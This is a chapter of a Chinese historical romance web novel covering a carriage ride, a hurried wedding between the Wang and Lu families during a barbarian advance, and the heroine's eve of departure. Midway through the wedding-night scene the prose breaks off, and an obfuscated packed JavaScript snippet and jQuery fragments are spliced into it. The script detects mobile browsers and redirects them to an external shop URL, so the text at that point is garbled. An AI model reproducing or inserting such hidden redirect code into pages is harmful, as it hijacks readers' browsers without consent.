9. 成亲

作品:《半刹那间八万春

    谢昶定定地看了她片刻,忽然撤回身体,重新懒洋洋地靠回狐皮褥子里,脸上又恢复了那副漫不经心的神情。


    他执起茶杯,轻啜一口,悠然道:“如此,怀玉便放心了。”


    就在这时,马匹一声嘶鸣,紧接着就是一个急刹,妙仪重心不稳,控制不住身体地往前倒去。


    就在她以为自己要狼狈地摔倒在地时,一双手钳住了她的手臂,硬生生将她固定在了位置上。


    驭马的车夫告饶,“郎君恕罪,方才有个孩童窜出来,奴才一时着急躲闪惊了贵客。”


    “回府后自去领罚。”谢昶淡淡说了句,这才松开妙仪,掌心残留着少女的余温,他将手握起来,小心翼翼藏在袖笼里。


    脸上还是一派温文,轻笑道:“刚才情急,唐突了女郎,还请女郎见谅。”


    “无妨。”妙仪垂下眼睫,刻意忽视掉方才的接触,喉咙涌起些微奇怪的痒意,她以袖掩唇,压抑地低咳了几声。


    谢昶看着女子微微颤抖的单薄肩膀,眉头几不可察地蹙了一下,随即扬声对外面道:“走青阳街,更快些。”


    “是。”外头的车夫应道,马车加快了速度,却依旧平稳地行驶在积了薄雪的青石路上。


    车内再次陷入沉默,只有茶香与檀香袅袅交织。


    妙仪靠在车壁上,闭目养神,谢昶好整以暇地品茶,不再出声。


    马车在王宅正门前停下,沉香掀帘子上前扶妙仪下车。


    临下车前,妙仪回头看了谢昶一眼,他依旧慵懒地倚在那里,指尖夹着那枚白玉棋子,对着她,唇角一勾,露出一个意味不明的浅笑,“风雪路滑,女郎保重。”


    妙仪微微颔首,不再多言,由沉香扶着,转身踏入纷纷扬扬的雪幕之中。


    直到那抹纤细的背影被漫天风雪吞没,谢昶才放下车帘,指尖的白玉棋子“嗒”一声轻响,落回棋篓。


    他脸上的笑意渐渐敛去,眸色深沉如夜,“回府。”


    马车调转方向,碾过积雪,向着另一个方向驶去,留下两行深深的车辙,旋即又被飘飘洒洒的新雪覆盖。


    王修远奉靖王之命弃守虎尾关,率部将回撤建邺,最后的险隘已失,胡族骑兵的马蹄声,几乎已能顺着北方的寒风隐隐传来。


    建邺城内,不复歌舞喧哗,往日彻夜笙歌的坊市早早熄了灯火,唯有更夫敲梆的声音回荡在空寂的街道上。


    然而王卢两家却忙得不可开交,仆从们捧着各式箱笼匆匆行走,脸上却无半分喜气,只有掩不住的仓皇。几个老仆在廊下低声交换着眼神,满是忧虑。


    局势紧迫,早日成礼,以安两家尊长之心。


    纳采、问名、纳吉之礼早已行过,如今便只剩下最后的纳征与亲迎。时间仓促得近乎失礼,但卢家送来的聘礼,却比先前议定的还要丰厚数分,一抬抬朱漆描金的箱笼流水般抬进来,堆满了庭院,落地时发出沉重的闷响。


    王萱仪穿着一身新赶制出来的大红缂丝嫁衣,对镜自照,镜中的人,面庞染了胭脂,人比花娇。


    金线绣出的鸾凤在烛光下光泽流转,那凤凰的眼睛是用细小的黑曜石镶嵌,在跳跃的烛火下,竟显得有些索然。


    她伸手抚过衣袖上繁复的缠枝莲纹,声音微微颤抖,“阿娘,卢家这般重视,连这等时候,礼数也一分不减。”


    王萱仪转身看向一旁的周氏,话里带着显而易见的喜悦,“可见女儿的选择没错,若是随阿姐他们南渡,不说这一路上的奔波辛劳,就是福大命大到了陵阳,也不过惶惶如丧家之犬。”


    周氏看着盛装的女儿,虽略感忧心,但终究还是对这场婚事乐见其成,毕竟能与卢家结亲对她们母女而言有莫大的好处,可窗外那越来越近的战火,又让她心底发寒。


    “卢家人的确用心。”她勉强笑了笑,替王萱仪正了正鬓边那支赤金点翠衔珠步摇,“我儿自然是福泽深厚的,明日过后,你便是卢家堂堂正正的五少奶奶了……”她欲言又止,终究没把那份不安说出口。


    暝色四合,金乌西坠,残霞早散作了漫天绯云。


    卢府门前挂满了彩幔,垂着赤绳系的同心结,檐下羊角灯次第亮起,昏黄光晕里,映得那描金的囍字愈发殷红喜庆。


    王家送亲的车驾辚辚而至,停在阶前。


    前后各两位梳双环髻的青裙少女扶着王萱仪下了车,她一身绛红嫁衣,上绣缠枝连理纹,头覆朱红盖头,遮了容颜,只露出一截皓腕,腕间悬着枚双鱼玉佩,随步履轻晃,泠泠作响。


    卢府中庭早设了香案,案上供着三牲,燃着龙凤喜烛,烛火跳跃。


    “新娘到——”


    卢珣一身婚服,腰束墨绿色大带,身姿挺拔,负手立在案前候着,闻声回过头。


    他眉峰微敛,目光落在那抹绛红身影上。


    王萱仪由侍女引着,行至案前,与男子并肩而立,卢珣嘴角勾起一抹略显轻浮的笑意又很快隐去。


    赞者高声唱喏,行沃盥礼,左右侍女捧上铜盆,温水倾入,两人盥手拭净,方捧了爵,行同牢之礼。


    案上摆着一鼎熟肉,一樽清酒,新人需共食一牲,共饮一爵,王萱仪扬起头一饮而尽,酒液清冽,入了喉,竟带了几分暖意。


    又行合卺之仪,那剖成两半的匏瓜,盛了酒,以红绳系了柄,两人各执一半,交臂而饮。匏瓜味苦,酒却甘醇,王萱仪第一次尝到这样的滋味,有些不适应地皱了皱眉。


    堂下观礼的宾客皆拱手道贺,声浪喧阗,礼官高声诵着祝词,无非是“宜室宜家,子孙绵延”的吉语。


    王萱仪垂着头,盖头下的唇角似有若无地勾了一勾。


    她是庶女,婚事原不比嫡出的姊妹风光,却不想卢家这般郑重,哪怕是王家南下在即,也一丝一毫都不曾怠慢,也许当真是她命好吧,能得这样的好归宿。


    夜色渐浓,疏星点点缀在墨色天幕上。


    堂上烛火愈亮,映着满室红妆,暖香袭人。


    两人拜过天地祖宗,方由喜婆引着,往新房去,一路穿廊过庑,听得风吹过


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17068618|195183||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,廊下的铜铃叮当作响,与远处的鼓乐声遥相呼应。


    新房里早铺陈妥当,鸳鸯锦被,合欢枕,妆台上摆着镜奁,燃着安息香。


    卢珣循例揭了盖头,王萱仪抬眸,撞进一双含笑的眸子里,霎时霞飞双颊,忙又低下头去。


    她虽然看重卢五郎的家世门第,但也着实为其容貌倾心,否则也不会一意孤行从嫡姐手里抢婚事,如今婚成,她半点也不后悔。


    “紧张吗?”卢珣抬手将她滑落在脸颊的发丝别在耳后,见少女羞红了脸,眉如远黛,眸若秋水,容貌娇俏,不由伸手轻轻握住了她那微凉的指尖。


    王萱仪怯了一下,“夫君可曾后悔娶了妾身?”


    窗外更鼓敲了两声,夜色沉沉。


    厅内宾客仍在宴饮,笑闹声阵阵传来,新房里却静悄悄的,只闻彼此浅浅的呼吸声。


    卢珣的睫毛颤动了一下,脑海中浮现出另一张面孔,随即笑道:“未曾,我对娘子一见钟情,怎么会后悔呢?”


    “纵是郎君诓骗妾身,妾身亦甘之如饴。”王萱仪粉面含春,“妾身替郎君宽衣......”


    红烛高燃,映着一对璧人,满室暖意融融。


    *


    灯烛的泪滴入金色的托盘,融成一片红色的蜡。


    王妙仪的暖阁内,药香比往日更浓了些,丹蕊沉默地递上一杯刚沏好的的参茶,“二小姐的婚事总算落地,咱们也要启程了,奴婢瞧着女郎似乎并不大喜乐?”


    王妙仪伸手接过,温润的瓷杯传来暖意,“她虽是爹爹的妾生女,性子也并不讨喜,但到底是自幼一同长大的情谊,我不想她所托非人。”


    妙仪将杯中微烫的参茶缓缓饮尽,那一点暖意流入喉间,她知道,话已说尽,路已分明。


    “女郎对二小姐已仁至义尽,日后祸福也只由她自个担着,这都是个人的造化。”丹蕊接过瓷杯递给后头举着托盘的小侍女,由妙仪扶着胳膊起身,边道:“女郎早些歇息,明早天不亮......便要上路了。”


    内室的烛火已被调得柔和,映得窗纸上的竹影忽明忽暗。


    妙仪坐下,丹蕊上前为她解下肩头的披风,露出里面素色的袄裙,裙摆扫过椅边的铜炉,带出一缕淡淡的沉香。


    “这地方,明日一早离开就再也踏不上了。”妙仪望向窗外,夜色已深,雪似乎停了,只余下凛冽的寒气透过窗缝渗进来。


    丹蕊为她理了理鬓边的碎发,“离开这里,才能避开那些是非纠葛,往后的日子,咱们只求安稳顺遂。”


    沉香端来温水,伺候她净了手脸,又铺好床褥,吹熄了案上的烛火,只余下一盏灯烛在角落里燃着微弱的光,“女郎早些睡吧,夜里若冷,便唤奴婢。”


    “你也去歇着吧,守夜有丹蕊她们就够了。”妙仪躺下身,拉过厚厚的锦被盖在身上。


    沉香应了声,轻手轻脚地退了出去。


    窗外的风声渐渐清晰起来,呜呜咽咽的,不知过了多久,妙仪才渐渐阖上双眼,浅浅入眠。